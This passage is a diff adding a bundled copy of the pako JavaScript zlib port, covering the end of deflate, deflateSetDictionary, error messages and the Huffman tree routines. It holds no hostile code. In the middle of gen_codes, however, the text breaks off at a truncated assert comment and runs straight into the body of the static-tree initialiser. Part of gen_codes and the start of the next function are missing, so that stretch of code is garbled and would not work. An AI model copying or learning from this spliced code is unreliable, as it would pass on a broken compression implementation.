complete. So we don't have to output an + * empty block here, this will be done at next call. This also + * ensures that for a very small output buffer, we emit at most + * one empty block. + */ + } + if (bstate === BS_BLOCK_DONE) { + if (flush === Z_PARTIAL_FLUSH) { + trees._tr_align(s); + } + else if (flush !== Z_BLOCK) { /* FULL_FLUSH or SYNC_FLUSH */ + + trees._tr_stored_block(s, 0, 0, false); + /* For a full flush, this empty block will be recognized + * as a special marker by inflate_sync(). + */ + if (flush === Z_FULL_FLUSH) { + /*** CLEAR_HASH(s); ***/ /* forget history */ + zero(s.head); // Fill with NIL (= 0); + + if (s.lookahead === 0) { + s.strstart = 0; + s.block_start = 0; + s.insert = 0; + } + } + } + flush_pending(strm); + if (strm.avail_out === 0) { + s.last_flush = -1; /* avoid BUF_ERROR at next call, see above */ + return Z_OK; + } + } + } + //Assert(strm->avail_out > 0, ""bug2""); + //if (strm.avail_out <= 0) { throw new Error(""bug2"");} + + if (flush !== Z_FINISH) { return Z_OK; } + if (s.wrap <= 0) { return Z_STREAM_END; } + + /* Write the trailer */ + if (s.wrap === 2) { + put_byte(s, strm.adler & 0xff); + put_byte(s, (strm.adler >> 8) & 0xff); + put_byte(s, (strm.adler >> 16) & 0xff); + put_byte(s, (strm.adler >> 24) & 0xff); + put_byte(s, strm.total_in & 0xff); + put_byte(s, (strm.total_in >> 8) & 0xff); + put_byte(s, (strm.total_in >> 16) & 0xff); + put_byte(s, (strm.total_in >> 24) & 0xff); + } + else + { + putShortMSB(s, strm.adler >>> 16); + putShortMSB(s, strm.adler & 0xffff); + } + + flush_pending(strm); + /* If avail_out is zero, the application will call deflate again + * to flush the rest. + */ + if (s.wrap > 0) { s.wrap = -s.wrap; } + /* write the trailer only once! */ + return s.pending !== 0 ? Z_OK : Z_STREAM_END; +} + +function deflateEnd(strm) { + var status; + + if (!strm/*== Z_NULL*/ || !strm.state/*== Z_NULL*/) { + return Z_STREAM_ERROR; + } + + status = strm.state.status; + if (status !== INIT_STATE && + status !== EXTRA_STATE && + status !== NAME_STATE && + status !== COMMENT_STATE && + status !== HCRC_STATE && + status !== BUSY_STATE && + status !== FINISH_STATE + ) { + return err(strm, Z_STREAM_ERROR); + } + + strm.state = null; + + return status === BUSY_STATE ? err(strm, Z_DATA_ERROR) : Z_OK; +} + + +/* ========================================================================= + * Initializes the compression dictionary from the given byte + * sequence without producing any compressed output. + */ +function deflateSetDictionary(strm, dictionary) { + var dictLength = dictionary.length; + + var s; + var str, n; + var wrap; + var avail; + var next; + var input; + var tmpDict; + + if (!strm/*== Z_NULL*/ || !strm.state/*== Z_NULL*/) { + return Z_STREAM_ERROR; + } + + s = strm.state; + wrap = s.wrap; + + if (wrap === 2 || (wrap === 1 && s.status !== INIT_STATE) || s.lookahead) { + return Z_STREAM_ERROR; + } + + /* when using zlib wrappers, compute Adler-32 for provided dictionary */ + if (wrap === 1) { + /* adler32(strm->adler, dictionary, dictLength); */ + strm.adler = adler32(strm.adler, dictionary, dictLength, 0); + } + + s.wrap = 0; /* avoid computing Adler-32 in read_buf */ + + /* if dictionary would fill window, just replace the history */ + if (dictLength >= s.w_size) { + if (wrap === 0) { /* already empty otherwise */ + /*** CLEAR_HASH(s); ***/ + zero(s.head); // Fill with NIL (= 0); + s.strstart = 0; + s.block_start = 0; + s.insert = 0; + } + /* use the tail */ + // dictionary = dictionary.slice(dictLength - s.w_size); + tmpDict = new utils.Buf8(s.w_size); + utils.arraySet(tmpDict, dictionary, dictLength - s.w_size, s.w_size, 0); + dictionary = tmpDict; + dictLength = s.w_size; + } + /* insert dictionary into window and hash */ + avail = strm.avail_in; + next = strm.next_in; + input = strm.input; + strm.avail_in = dictLength; + strm.next_in = 0; + strm.input = dictionary; + fill_window(s); + while (s.lookahead >= MIN_MATCH) { + str = s.strstart; + n = s.lookahead - (MIN_MATCH - 1); + do { + /* UPDATE_HASH(s, s->ins_h, s->window[str + MIN_MATCH-1]); */ + s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[str + MIN_MATCH - 1]) & s.hash_mask; + + s.prev[str & s.w_mask] = s.head[s.ins_h]; + + s.head[s.ins_h] = str; + str++; + } while (--n); + s.strstart = str; + s.lookahead = MIN_MATCH - 1; + fill_window(s); + } + s.strstart += s.lookahead; + s.block_start = s.strstart; + s.insert = s.lookahead; + s.lookahead = 0; + s.match_length = s.prev_length = MIN_MATCH - 1; + s.match_available = 0; + strm.next_in = next; + strm.input = input; + strm.avail_in = avail; + s.wrap = wrap; + return Z_OK; +} + + +exports.deflateInit = deflateInit; +exports.deflateInit2 = deflateInit2; +exports.deflateReset = deflateReset; +exports.deflateResetKeep = deflateResetKeep; +exports.deflateSetHeader = deflateSetHeader; +exports.deflate = deflate; +exports.deflateEnd = deflateEnd; +exports.deflateSetDictionary = deflateSetDictionary; +exports.deflateInfo = 'pako deflate (from Nodeca project)'; + +/* Not implemented +exports.deflateBound = deflateBound; +exports.deflateCopy = deflateCopy; +exports.deflateParams = deflateParams; +exports.deflatePending = deflatePending; +exports.deflatePrime = deflatePrime; +exports.deflateTune = deflateTune; +*/ + +},{""../utils/common"":1,""./adler32"":3,""./crc32"":4,""./messages"":6,""./trees"":7}],6:[function(require,module,exports){ +'use strict'; + +// (C) 1995-2013 Jean-loup Gailly and Mark Adler +// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin +// +// This software is provided 'as-is', without any express or implied +// warranty. In no event will the authors be held liable for any damages +// arising from the use of this software. +// +// Permission is granted to anyone to use this software for any purpose, +// including commercial applications, and to alter it and redistribute it +// freely, subject to the following restrictions: +// +// 1. The origin of this software must not be misrepresented; you must not +// claim that you wrote the original software. If you use this software +// in a product, an acknowledgment in the product documentation would be +// appreciated but is not required. +// 2. Altered source versions must be plainly marked as such, and must not be +// misrepresented as being the original software. +// 3. This notice may not be removed or altered from any source distribution. + +module.exports = { + 2: 'need dictionary', /* Z_NEED_DICT 2 */ + 1: 'stream end', /* Z_STREAM_END 1 */ + 0: '', /* Z_OK 0 */ + '-1': 'file error', /* Z_ERRNO (-1) */ + '-2': 'stream error', /* Z_STREAM_ERROR (-2) */ + '-3': 'data error', /* Z_DATA_ERROR (-3) */ + '-4': 'insufficient memory', /* Z_MEM_ERROR (-4) */ + '-5': 'buffer error', /* Z_BUF_ERROR (-5) */ + '-6': 'incompatible version' /* Z_VERSION_ERROR (-6) */ +}; + +},{}],7:[function(require,module,exports){ +'use strict'; + +// (C) 1995-2013 Jean-loup Gailly and Mark Adler +// (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin +// +// This software is provided 'as-is', without any express or implied +// warranty. In no event will the authors be held liable for any damages +// arising from the use of this software. +// +// Permission is granted to anyone to use this software for any purpose, +// including commercial applications, and to alter it and redistribute it +// freely, subject to the following restrictions: +// +// 1. The origin of this software must not be misrepresented; you must not +// claim that you wrote the original software. If you use this software +// in a product, an acknowledgment in the product documentation would be +// appreciated but is not required. +// 2. Altered source versions must be plainly marked as such, and must not be +// misrepresented as being the original software. +// 3. This notice may not be removed or altered from any source distribution. + +var utils = require('../utils/common'); + +/* Public constants ==========================================================*/ +/* ===========================================================================*/ + + +//var Z_FILTERED = 1; +//var Z_HUFFMAN_ONLY = 2; +//var Z_RLE = 3; +var Z_FIXED = 4; +//var Z_DEFAULT_STRATEGY = 0; + +/* Possible values of the data_type field (though see inflate()) */ +var Z_BINARY = 0; +var Z_TEXT = 1; +//var Z_ASCII = 1; // = Z_TEXT +var Z_UNKNOWN = 2; + +/*============================================================================*/ + + +function zero(buf) { var len = buf.length; while (--len >= 0) { buf[len] = 0; } } + +// From zutil.h + +var STORED_BLOCK = 0; +var STATIC_TREES = 1; +var DYN_TREES = 2; +/* The three kinds of block type */ + +var MIN_MATCH = 3; +var MAX_MATCH = 258; +/* The minimum and maximum match lengths */ + +// From deflate.h +/* =========================================================================== + * Internal compression state. + */ + +var LENGTH_CODES = 29; +/* number of length codes, not counting the special END_BLOCK code */ + +var LITERALS = 256; +/* number of literal bytes 0..255 */ + +var L_CODES = LITERALS + 1 + LENGTH_CODES; +/* number of Literal or Length codes, including the END_BLOCK code */ + +var D_CODES = 30; +/* number of distance codes */ + +var BL_CODES = 19; +/* number of codes used to transfer the bit lengths */ + +var HEAP_SIZE = 2 * L_CODES + 1; +/* maximum heap size */ + +var MAX_BITS = 15; +/* All codes must not exceed MAX_BITS bits */ + +var Buf_size = 16; +/* size of bit buffer in bi_buf */ + + +/* =========================================================================== + * Constants + */ + +var MAX_BL_BITS = 7; +/* Bit length codes must not exceed MAX_BL_BITS bits */ + +var END_BLOCK = 256; +/* end of block literal code */ + +var REP_3_6 = 16; +/* repeat previous bit length 3-6 times (2 bits of repeat count) */ + +var REPZ_3_10 = 17; +/* repeat a zero length 3-10 times (3 bits of repeat count) */ + +var REPZ_11_138 = 18; +/* repeat a zero length 11-138 times (7 bits of repeat count) */ + +/* eslint-disable comma-spacing,array-bracket-spacing */ +var extra_lbits = /* extra bits for each length code */ + [0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]; + +var extra_dbits = /* extra bits for each distance code */ + [0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]; + +var extra_blbits = /* extra bits for each bit length code */ + [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]; + +var bl_order = + [16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]; +/* eslint-enable comma-spacing,array-bracket-spacing */ + +/* The lengths of the bit length codes are sent in order of decreasing + * probability, to avoid transmitting the lengths for unused bit length codes. + */ + +/* =========================================================================== + * Local data. These are initialized only once. + */ + +// We pre-fill arrays with 0 to avoid uninitialized gaps + +var DIST_CODE_LEN = 512; /* see definition of array dist_code below */ + +// !!!! Use flat array instead of structure, Freq = i*2, Len = i*2+1 +var static_ltree = new Array((L_CODES + 2) * 2); +zero(static_ltree); +/* The static literal tree. Since the bit lengths are imposed, there is no + * need for the L_CODES extra codes used during heap construction. However + * The codes 286 and 287 are needed to build a canonical tree (see _tr_init + * below). + */ + +var static_dtree = new Array(D_CODES * 2); +zero(static_dtree); +/* The static distance tree. (Actually a trivial tree since all codes use + * 5 bits.) + */ + +var _dist_code = new Array(DIST_CODE_LEN); +zero(_dist_code); +/* Distance codes. The first 256 values correspond to the distances + * 3 .. 258, the last 256 values correspond to the top 8 bits of + * the 15 bit distances. + */ + +var _length_code = new Array(MAX_MATCH - MIN_MATCH + 1); +zero(_length_code); +/* length code for each normalized match length (0 == MIN_MATCH) */ + +var base_length = new Array(LENGTH_CODES); +zero(base_length); +/* First normalized length for each code (0 = MIN_MATCH) */ + +var base_dist = new Array(D_CODES); +zero(base_dist); +/* First normalized distance for each code (0 = distance of 1) */ + + +function StaticTreeDesc(static_tree, extra_bits, extra_base, elems, max_length) { + + this.static_tree = static_tree; /* static tree or NULL */ + this.extra_bits = extra_bits; /* extra bits for each code or NULL */ + this.extra_base = extra_base; /* base index for extra_bits */ + this.elems = elems; /* max number of elements in the tree */ + this.max_length = max_length; /* max bit length for the codes */ + + // show if `static_tree` has data or dummy - needed for monomorphic objects + this.has_stree = static_tree && static_tree.length; +} + + +var static_l_desc; +var static_d_desc; +var static_bl_desc; + + +function TreeDesc(dyn_tree, stat_desc) { + this.dyn_tree = dyn_tree; /* the dynamic tree */ + this.max_code = 0; /* largest code with non zero frequency */ + this.stat_desc = stat_desc; /* the corresponding static tree */ +} + + + +function d_code(dist) { + return dist < 256 ? _dist_code[dist] : _dist_code[256 + (dist >>> 7)]; +} + + +/* =========================================================================== + * Output a short LSB first on the stream. + * IN assertion: there is enough room in pendingBuf. + */ +function put_short(s, w) { +// put_byte(s, (uch)((w) & 0xff)); +// put_byte(s, (uch)((ush)(w) >> 8)); + s.pending_buf[s.pending++] = (w) & 0xff; + s.pending_buf[s.pending++] = (w >>> 8) & 0xff; +} + + +/* =========================================================================== + * Send a value on a given number of bits. + * IN assertion: length <= 16 and value fits in length bits. + */ +function send_bits(s, value, length) { + if (s.bi_valid > (Buf_size - length)) { + s.bi_buf |= (value << s.bi_valid) & 0xffff; + put_short(s, s.bi_buf); + s.bi_buf = value >> (Buf_size - s.bi_valid); + s.bi_valid += length - Buf_size; + } else { + s.bi_buf |= (value << s.bi_valid) & 0xffff; + s.bi_valid += length; + } +} + + +function send_code(s, c, tree) { + send_bits(s, tree[c * 2]/*.Code*/, tree[c * 2 + 1]/*.Len*/); +} + + +/* =========================================================================== + * Reverse the first len bits of a code, using straightforward code (a faster + * method would use a table) + * IN assertion: 1 <= len <= 15 + */ +function bi_reverse(code, len) { + var res = 0; + do { + res |= code & 1; + code >>>= 1; + res <<= 1; + } while (--len > 0); + return res >>> 1; +} + + +/* =========================================================================== + * Flush the bit buffer, keeping at most 7 bits in it. + */ +function bi_flush(s) { + if (s.bi_valid === 16) { + put_short(s, s.bi_buf); + s.bi_buf = 0; + s.bi_valid = 0; + + } else if (s.bi_valid >= 8) { + s.pending_buf[s.pending++] = s.bi_buf & 0xff; + s.bi_buf >>= 8; + s.bi_valid -= 8; + } +} + + +/* =========================================================================== + * Compute the optimal bit lengths for a tree and update the total bit length + * for the current block. + * IN assertion: the fields freq and dad are set, heap[heap_max] and + * above are the tree nodes sorted by increasing frequency. + * OUT assertions: the field len is set to the optimal bit length, the + * array bl_count contains the frequencies for each bit length. + * The length opt_len is updated; static_len is also updated if stree is + * not null. + */ +function gen_bitlen(s, desc) +// deflate_state *s; +// tree_desc *desc; /* the tree descriptor */ +{ + var tree = desc.dyn_tree; + var max_code = desc.max_code; + var stree = desc.stat_desc.static_tree; + var has_stree = desc.stat_desc.has_stree; + var extra = desc.stat_desc.extra_bits; + var base = desc.stat_desc.extra_base; + var max_length = desc.stat_desc.max_length; + var h; /* heap index */ + var n, m; /* iterate over the tree elements */ + var bits; /* bit length */ + var xbits; /* extra bits */ + var f; /* frequency */ + var overflow = 0; /* number of elements with bit length too large */ + + for (bits = 0; bits <= MAX_BITS; bits++) { + s.bl_count[bits] = 0; + } + + /* In a first pass, compute the optimal bit lengths (which may + * overflow in the case of the bit length tree). + */ + tree[s.heap[s.heap_max] * 2 + 1]/*.Len*/ = 0; /* root of the heap */ + + for (h = s.heap_max + 1; h < HEAP_SIZE; h++) { + n = s.heap[h]; + bits = tree[tree[n * 2 + 1]/*.Dad*/ * 2 + 1]/*.Len*/ + 1; + if (bits > max_length) { + bits = max_length; + overflow++; + } + tree[n * 2 + 1]/*.Len*/ = bits; + /* We overwrite tree[n].Dad which is no longer needed */ + + if (n > max_code) { continue; } /* not a leaf node */ + + s.bl_count[bits]++; + xbits = 0; + if (n >= base) { + xbits = extra[n - base]; + } + f = tree[n * 2]/*.Freq*/; + s.opt_len += f * (bits + xbits); + if (has_stree) { + s.static_len += f * (stree[n * 2 + 1]/*.Len*/ + xbits); + } + } + if (overflow === 0) { return; } + + // Trace((stderr,""\nbit length overflow\n"")); + /* This happens for example on obj2 and pic of the Calgary corpus */ + + /* Find the first bit length which could increase: */ + do { + bits = max_length - 1; + while (s.bl_count[bits] === 0) { bits--; } + s.bl_count[bits]--; /* move one leaf down the tree */ + s.bl_count[bits + 1] += 2; /* move one overflow item as its brother */ + s.bl_count[max_length]--; + /* The brother of the overflow item also moves one step up, + * but this does not affect bl_count[max_length] + */ + overflow -= 2; + } while (overflow > 0); + + /* Now recompute all bit lengths, scanning in increasing frequency. + * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all + * lengths instead of fixing only the wrong ones. This idea is taken + * from 'ar' written by Haruhiko Okumura.) + */ + for (bits = max_length; bits !== 0; bits--) { + n = s.bl_count[bits]; + while (n !== 0) { + m = s.heap[--h]; + if (m > max_code) { continue; } + if (tree[m * 2 + 1]/*.Len*/ !== bits) { + // Trace((stderr,""code %d bits %d->%d\n"", m, tree[m].Len, bits)); + s.opt_len += (bits - tree[m * 2 + 1]/*.Len*/) * tree[m * 2]/*.Freq*/; + tree[m * 2 + 1]/*.Len*/ = bits; + } + n--; + } + } +} + + +/* =========================================================================== + * Generate the codes for a given tree and bit counts (which need not be + * optimal). + * IN assertion: the array bl_count contains the bit length statistics for + * the given tree and the field len is set for all tree elements. + * OUT assertion: the field code is set for all tree elements of non + * zero code length. + */ +function gen_codes(tree, max_code, bl_count) +// ct_data *tree; /* the tree to decorate */ +// int max_code; /* largest code with non zero frequency */ +// ushf *bl_count; /* number of codes at each bit length */ +{ + var next_code = new Array(MAX_BITS + 1); /* next code value for each bit length */ + var code = 0; /* running code value */ + var bits; /* bit index */ + var n; /* code index */ + + /* The distribution counts are first used to generate the code values + * without bit reversal. + */ + for (bits = 1; bits <= MAX_BITS; bits++) { + next_code[bits] = code = (code + bl_count[bits - 1]) << 1; + } + /* Check that the bit counts in bl_count are consistent. The last code + * must be all ones. + */ + //Assert (code + bl_count[MAX_BITS]-1 == (1< length code (0..28) */ + length = 0; + for (code = 0; code < LENGTH_CODES - 1; code++) { + base_length[code] = length; + for (n = 0; n < (1 << extra_lbits[code]); n++) { + _length_code[length++] = code; + } + } + //Assert (length == 256, ""tr_static_init: length != 256""); + /* Note that the length 255 (match length 258) can be represented + * in two different ways: code 284 + 5 bits or code 285, so we + * overwrite length_code[255] to use the best encoding: + */ + _length_code[length - 1] = code; + + /* Initialize the mapping dist (0..32K) -> dist code (0..29) */ + dist = 0; + for (code = 0; code < 16; code++) { + base_dist[code] = dist; + for (n = 0; n < (1 << extra_dbits[code]); n++) { + _dist_code[dist++] = code; + } + } + //Assert (dist == 256, ""tr_static_init: dist != 256""); + dist >>= 7; /* from now on, all distances are divided by 128 */ + for (; code < D_CODES; code++) { + base_dist[code] = dist << 7; + for (n = 0; n < (1 << (extra_dbits[code] - 7)); n++) { + _dist_code[256 + dist++] = code; + } + } + //Assert (dist == 256, ""tr_static_init: 256+dist != 512""); + + /* Construct the codes of the static literal tree */ + for (bits = 0; bits <= MAX_BITS; bits++) { + bl_count[bits] = 0; + } + + n = 0; + while (n <= 143) { + static_ltree[n * 2 + 1]/*.Len*/ = 8; + n++; + bl_count[8]++; + } + while (n <= 255) { + static_ltree[n * 2 + 1]/*.Len*/ = 9; + n++; + bl_count[9]++; + } + while (n <= 279) { + static_ltree[n * 2 + 1]/*.Len*/ = 7; + n++; + bl_count[7]++; + } + while (n <= 287) { + static_ltree[n * 2 + 1]/*.Len*/ = 8; + n++; + bl_count[8]++; + } + /* Codes 286 and 287 do not exist, but we must include them in the + * tree construction to get a canonical Huffman tree (longest code + * all ones) + */ + gen_codes(static_ltree, L_CODES + 1, bl_count); + + /* The static distance tree is trivial: */ + for (n = 0; n < D_CODES; n++) { + static_dtree[n * 2 + 1]/*.Len*/ = 5; + static_dtree[n * 2]/*.Code*/ = bi_reverse(n, 5); + } + + // Now data ready and we can init static trees + static_l_desc = new StaticTreeDesc(static_ltree, extra_lbits, LITERALS + 1, L_CODES, MAX_BITS); + static_d_desc = new StaticTreeDesc(static_dtree, extra_dbits, 0, D_CODES, MAX_BITS); + static_bl_desc = new StaticTreeDesc(new Array(0), extra_blbits, 0, BL_CODES, MAX_BL_BITS); + + //static_init_done = true; +} + + +/* =========================================================================== + * Initialize a new block. + */ +function init_block(s) { + var n; /* iterates over tree elements */ + + /* Initialize the trees. */ + for (n = 0; n < L_CODES; n++) { s.dyn_ltree[n * 2]/*.Freq*/ = 0; } + for (n = 0; n < D_CODES; n++) { s.dyn_dtree[n * 2]/*.Freq*/ = 0; } + for (n = 0; n < BL_CODES; n++) { s.bl_tree[n * 2]/*.Freq*/ = 0; } + + s.dyn_ltree[END_BLOCK * 2]/*.Freq*/ = 1; + s.opt_len = s.static_len = 0; + s.last_lit = s.matches = 0; +} + + +/* =========================================================================== + * Flush the bit buffer and align the output on a byte boundary + */ +function bi_windup(s) +{ + if (s.bi_valid > 8) { + put_short(s, s.bi_buf); + } else if (s.bi_valid > 0) { + //put_byte(s, (Byte)s->bi_buf); + s.pending_buf[s.pending++] = s.bi_buf; + } + s.bi_buf = 0; + s.bi_valid = 0; +} + +/* =========================================================================== + * Copy a stored block, storing first the length and its + * one's complement if requested. + */ +function copy_block(s, buf, len, header) +//DeflateState *s; +//charf *buf; /* the input data */ +//unsigned len; /* its length */ +//int header; /* true if block header must be written */ +{ + bi_windup(s); /* align on byte boundary */ + + if (header) { + put_short(s, len); + put_short(s, ~len); + } +// while (len--) { +// put_byte(s, *buf++); +// } + utils.arraySet(s.pending_buf, s.window, buf, len, s.pending); + s.pending += len; +} + +/* =========================================================================== + * Compares to subtrees, using the tree depth as tie breaker when + * the subtrees have equal frequency. This minimizes the worst case length. + */ +function smaller(tree, n, m, depth) { + var _n2 = n * 2; + var _m2 = m * 2; + return (tree[_n2]/*.Freq*/ < tree[_m2]/*.Freq*/ || + (tree[_n2]/*.Freq*/ === tree[_m2]/*.Freq*/ && depth[n] <= depth[m])); +} + +/* =========================================================================== + * Restore the heap property by moving down the tree starting at node k, + * exchanging a node with the smallest of its two sons if necessary, stopping + * when the heap property is re-established (each father smaller than its + * two sons). + */ +function pqdownheap(s, tree, k) +// deflate_state *s; +// ct_data *tree; /* the tree to restore */ +// int k; /* node to move down */ +{ + var v = s.heap[k]; + var j = k << 1; /* left son of k */ + while (j <= s.heap_len) { + /* Set j to the smallest of the two sons: */ + if (j < s.heap_len && + smaller(tree, s.heap[j + 1], s.heap[j], s.depth)) { + j++; + } + /* Exit if v is smaller than both sons */ + if (smaller(tree, v, s.heap[j], s.depth)) { break; } + + /* Exchange v with the smallest son */ + s.heap[k] = s.heap[j]; + k = j; + + /* And continue down the tree, setting j to the left son of k */ + j <<= 1; + } + s.heap[k] = v; +} + + +// inlined manually +// var SMALLEST = 1; + +/* =========================================================================== + * Send the block data compressed using the given Huffman trees + */ +function compress_block(s, ltree, dtree) +// deflate_state *s; +// const ct_data *ltree; /* literal tree */ +// const ct_data *dtree; /* distance tree */ +{ + var dist; /* distance of matched string */ + var lc; /* match length or unmatched char (if dist == 0) */ + var lx = 0; /* running index in l_buf */ + var code; /* the code to send */ + var extra; /* number of extra bits to send */ + + if (s.last_lit !== 0) { + do { + dist = (s.pending_buf[s.d_buf + lx * 2] << 8) | (s.pending_buf[s.d_buf + lx * 2 + 1]); + lc = s.pending_buf[s.l_buf + lx]; + lx++; + + if (dist === 0) { + send_code(s, lc, ltree); /* send a literal byte */ + //Tracecv(isgraph(lc), (stderr,"" '%c' "", lc)); + } else { + /* Here, lc is the match length - MIN_MATCH */ + code = _length_code[lc]; + send_code(s, code + LITERALS + 1, ltree); /* send the length code */ + extra = extra_lbits[code]; + if (extra !== 0) { + lc -= base_length[code]; + send_bits(s, lc, extra); /* send the extra length bits */ + } + dist--; /* dist is now the match distance - 1 */ + code = d_code(dist); + //Assert (code < D_CODES, ""bad d_code""); + + send_code(s, code, dtree); /* send the distance code */ + extra = extra_dbits[code]; + if (extra !== 0) { + dist -= base_dist[code]; + send_bits(s, dist, extra); /* send the extra distance bits */ + } + } /* literal or match pair ? */ + + /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ + //Assert((uInt)(s->pending) < s->lit_bufsize + 2*lx, + // ""pendingBuf overflow""); + + } while (lx < s.last_lit); + } + + send_code(s, END_BLOCK, ltree); +} + + +/* =========================================================================== + * Construct one Huffman tree and assigns the code bit strings and lengths. + * Update the total bit length for the current block. + * IN assertion: the field freq is set for all tree elements. + * OUT assertions: the fields len and code are set to the optimal bit length + * and corresponding code. The length opt_len is updated; static_len is + * also updated if stree is not null. The field max_code is set. + */ +function build_tree(s, desc) +// deflate_state *s; +// tree_desc *desc; /* the tree descriptor */ +{ + var tree = desc.dyn_tree; + var stree = desc.stat_desc.static_tree; + var has_stree = desc.stat_desc.has_stree; + var elems = desc.stat_desc.elems; + var n, m; /* iterate over heap elements */ + var max_code = -1; /* largest code with non zero frequency */ + var node; /* new node being created */ + + /* Construct the initial heap, with least frequent element in + * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. + * heap[0] is not used. + */ + s.heap_len = 0; + s.heap_max = HEAP_SIZE; + + for (n = 0; n < elems; n++) { + if (tree[n * 2]/*.Freq*/ !== 0) { + s.heap[++s.heap_len] = max_code = n; + s.depth[n] = 0; + + } else { + tree[n * 2 + 1]/*.Len*/ = 0; + } + } + + /* The pkzip format requires that at least one distance code exists, + * and that at least one bit should be sent even if there is only one + * possible code. So to avoid special checks later on we force at least + * two codes of non zero frequency. + */ + while (s.heap_len < 2) { + node = s.heap[++s.heap_len] = (max_code < 2 ? ++max_code : 0); + tree[node * 2]/*.Freq*/ = 1; + s.depth[node] = 0; + s.opt_len--; + + if (has_stree) { + s.static_len -= stree[node * 2 + 1]/*.Len*/; + } + /* node is 0 or 1 so it does not have extra bits */ + } + desc.max_code = max_code; + + /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, + * establish sub-heaps of increasing lengths: + */ + for (n = (s.heap_len >> 1/*int /2*/); n >= 1; n--) { pqdownheap(s, tree, n); } + + /* Construct the Huffman tree by repeatedly combining the least two + * frequent nodes. + */ + node = elems; /* next internal node of the tree */ + do { + //pqremove(s, tree, n); /* n = node of least frequency */ + /*** pqremove ***/ + n = s.heap[1/*SMALLEST*/]; + s.heap[1/*SMALLEST*/] = s.heap[s.heap_len--]; + pqdownheap(s, tree, 1/*SMALLEST*/); + /***/ + + m = s.heap[1/*SMALLEST*/]; /* m = node of next least frequency */ + + s.heap[--s.heap_max] = n; /* keep the nodes sorted by frequency */ + s.heap[--s.heap_max] = m; + + /* Create a new node father of n and m */ + tree[node * 2]/*.Freq*/ = tree[n * 2]/*.Freq*/ + tree[m * 2]/*.Freq*/; + s.depth[node] = (s.depth[n] >= s.depth[m] ? s.depth[n] : s.depth[m]) + 1; + tree[n * 2 + 1]/*.Dad*/ = tree[m * 2 + 1]/*.Dad*/ = node; + + /* and insert the new node in the heap */ + s.heap[1/*SMALLEST*/] = node++; + pqdownheap(s, tree, 1/*SMALLEST*/); + + } while (s.heap_len >= 2); + + s.heap[--s.heap_max] = s.heap[1/*SMALLEST*/]; + + /* At this point, the fields freq and dad are set. We can now + * generate the bit lengths. + */ + gen_bitlen(s, desc); + + /* The field len is now set, we can generate the bit codes */ + gen_codes(tree, max_code, s.bl_count); +} + + +/* =========================================================================== + * Scan a literal or distance tree to determine the frequencies of the codes + * in the bit length tree. + */ +function scan_tree(s, tree, max_code) +// deflate_state *s; +// ct_data *tree; /* the tree to be scanned */ +// int max_code; /* and its largest code of non zero frequency */ +{ + var n; /* iterates over all tree elements */ + var prevlen = -1; /* last emitted length */ + var curlen; /* length of current code */ + + var nextlen = tree[0 * 2 + 1]/*.Len*/; /* length of next code */ + + var count = 0; /* repeat count of the current code */ + var max_count = 7; /* max repeat count */ + var min_count = 4; /* min repeat count */ + + if (nextlen === 0) { + max_count = 138; + min_count = 3; + } + tree[(max_code + 1) * 2 + 1]/*.Len*/ = 0xffff; /* guard */ + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; + nextlen = tree[(n + 1) * 2 + 1]/*.Len*/; + + if (++count < max_count && curlen === nextlen) { + continue; + + } else if (count < min_count) { + s.bl_tree[curlen * 2]/*.Freq*/ += count; + + } else if (curlen !== 0) { + + if (curlen !== prevlen) { s.bl_tree[curlen * 2]/*.Freq*/++; } + s.bl_tree[REP_3_6 * 2]/*.Freq*/++; + + } else if (count <= 10) { + s.bl_tree[REPZ_3_10 * 2]/*.Freq*/++; + + } else { + s.bl_tree[REPZ_11_138 * 2]/*.Freq*/++; + } + + count = 0; + prevlen = curlen; + + if (nextlen === 0) { + max_count = 138; + min_count = 3; + + } else if (curlen === nextlen) { + max_count = 6; + min_count = 3; + + } else { + max_count = 7; + min_count = 4; + } + } +} + + +/* =========================================================================== + * Send a literal or distance tree in compressed form, using the codes in + * bl_tree. + */ +function send_tree(s, tree, max_code) +// deflate_state *s; +// ct_data *tree; /* the tree to be scanned */ +// int max_code; /* and its largest code of non zero frequency */ +{ + var n; /* iterates over all tree elements */ + var prevlen = -1; /* last emitted length */ + var curlen; /* length of current code */ + + var nextlen = tree[0 * 2 + 1]/*.Len*/; /* length of next code */ + + var count = 0; /* repeat count of the current code */ + var max_count = 7; /* max repeat count */ + var min_count = 4; /* min repeat count */ + + /* tree[max_code+1].Len = -1; */ /* guard already set */ + if (nextlen === 0) { + max_count = 138; + min_count = 3; + } + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; + nextlen = tree[(n + 1) * 2 + 1]/*.Len*/; + + if (++count < max_count && curlen === nextlen) { + continue; + + } else if (count < min_count) { + do { send_code(s, curlen, s.bl_tree); } while (--count !== 0); + + } else if (curlen !== 0) { + if (curlen !== prevlen) { + send_code(s, curlen, s.bl_tree); + count--; + } + //Assert(count >= 3 && count <= 6, "" 3_6?""); + send_code(s, REP_3_6, s.bl_tree); + send_bits(s, count - 3, 2); + + } else if (count <= 10) { + send_code(s, REPZ_3_10, s.bl_tree); + send_bits(s, count - 3, 3); + + } else { + send_code(s, REPZ_11_138, s.bl_tree); + send_bits(s, count - 11, 7); + } + + count = 0; + prevlen = curlen; + if (nextlen === 0) { + max_count = 138; + min_count = 3; + + } else if (curlen === nextlen) { + max_count = 6; + min_count = 3; + + } else { + max_count = 7; + min_count = 4; + } + } +} + + +/* =========================================================================== + * Construct the Huffman tree for the bit lengths and return the index in + * bl_order of the last bit length code to send. + */ +function build_bl_tree(s) { + var max_blindex; /* index of last bit length code of non zero freq */ + + /* Determine the bit length frequencies for literal and distance trees */ + scan_tree(s, s.dyn_ltree, s.l_desc.max_code); + scan_tree(s, s.dyn_dtree, s.d_desc.max_code); + + /* Build the bit length tree: */ + build_tree(s, s.bl_desc); + /* opt_len now includes the length of the tree representations, 